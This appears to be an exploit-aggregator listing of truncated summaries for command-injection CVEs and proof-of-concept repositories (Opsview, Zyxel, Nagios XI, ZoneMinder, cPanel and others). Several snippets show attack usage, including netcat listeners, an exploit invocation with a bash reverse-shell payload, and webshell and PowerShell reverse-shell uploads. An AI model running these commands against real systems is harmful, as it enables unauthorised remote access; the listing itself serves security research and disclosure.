CVE-2023-28354

CVE-2023-28354 Vulnerability Description A vulnerability has been identified in Opsview Monitor Agent 6.8 that allows an unauthenticated remote attacker to execute arbitrary commands. An unauthenticated attacker can exploit this vulnerability on Windows by supplying an command-line escape sequenc...

Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection

The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21AAZF.17C0 and NAS542 firmware versions before V5.21ABAG.14C0 could allow an unauthenticated attacker to execute some operating system OS commands by sending a crafted HTTP POST request...

WAVLINK WN530H4 live_api.cgi - Command Injection

A remote command-line injection vulnerability in the /cgi-bin/liveapi.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication. id: CVE-2020-12124 info: name: WAVLINK WN530H4 liveapi.cgi - Command Injection author...

Artica Web Proxy 4.30 - OS Command Injection

Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via servicecmdspeform. id: CVE-2020-17505 info: name: Artica Web Proxy 4.30 - OS Command Injection author: dwisiswant0...

LG Simple Editor <= v3.21.0 - Command Injection

LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability. The specific flaw exists within t...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to...

FLIR AX8 1.46.16 - Remote Command Injection

FLIR AX8 version 1.46.16 and below is susceptible to an unauthenticated remote command injection vulnerability.The vulnerability exists in the alarm functionality where user-supplied input in the 'id' parameter is not properly sanitized,allowing attackers to inject and execute arbitrary OS...

Geutebruck - Remote Command Injection

Geutebruck is susceptible to multiple vulnerabilities its web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-33544 info: name: Geutebruck - Remote Command Injection author: gy741 severit...

Apache Tika < 1.1.8 - Header Command Injection

Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. i...

CVE-2023-6019

Ray OS Command Injection RCEUnauthorized Usage: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2026-108161: Improper Neutralization of Special Elements used in an OS Command

FusionPBX through 5.6.5 contains an OS command injection vulnerability in callrecordings::download that allows unauthenticated attackers to execute commands by placing calls with malicious caller ID values. When the recordname filename template is enabled, attackers can embed shell metacharacters...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 This is a exploit of CVE-2021-3205 a web vulnerability to command injection on search.php path, this exploit allows execute commands. Requirements optparse, signal, requests Usage ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC. Reported and fixed: 2022-05 Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: Command...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Detail Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. PoC Start a HTTP server 1- python3 -m http.server 80 Start a netcat listener 2- nc -lnvp 'Target Port' Make a request 3-...

CVE-2026-102607-ZoneMinder

Security Vulnerability Report: OS Command Injection in ZoneMinder exportEvents Summary An authenticated OS Command Injection vulnerability exists in ZoneMinder's event export functionality. The exportFile HTTP request parameter is passed unsanitized into a shell command executed via PHP's exec,...

CVE-2017-18044-Exploit

CVE-2017-18044 Native POC This is a dead simple POC for the CVE-2017-18044 command injection vulnerability in Commvault v11 SP5 and older. For metasploit users, a ruby version of the exploit is also bundled with the lastest build...

CVE-2025-64155-hunter

CVE-2025-64155 Scanner A Python scanner for detecting the command injection vulnerability CVE-2025-64155 in Phoenix Monitor service. Description CVE-2025-64155 is a command injection vulnerability in Phoenix Monitor service that allows remote code execution through the clusterurl parameter in the...

CVE-2026-65643-PoC-Toolkit

CVE‑2026‑65643 – cPanel Domain Parking RCE Toolkit ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer Misuse Act U...

CVE-2022-36267-PoC

CVE-2022-36267 - Airspan AirSpot 5410 Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36267, a critical vulnerability in Airspan AirSpot 5410 devices. The script is a practical demonstration,...

CVE-2023-45878-POC

CVE-2023-45878-POC CVE-2023-45878 poc for gibbon LMS on xampp windows. Upload a webshell called shell.php for command injection. For reverse shell uploads a powershell reverse shell ps1 script called shell.ps1 which is uploaded to the target machine using the shell.php. Requirments Python3 Reques...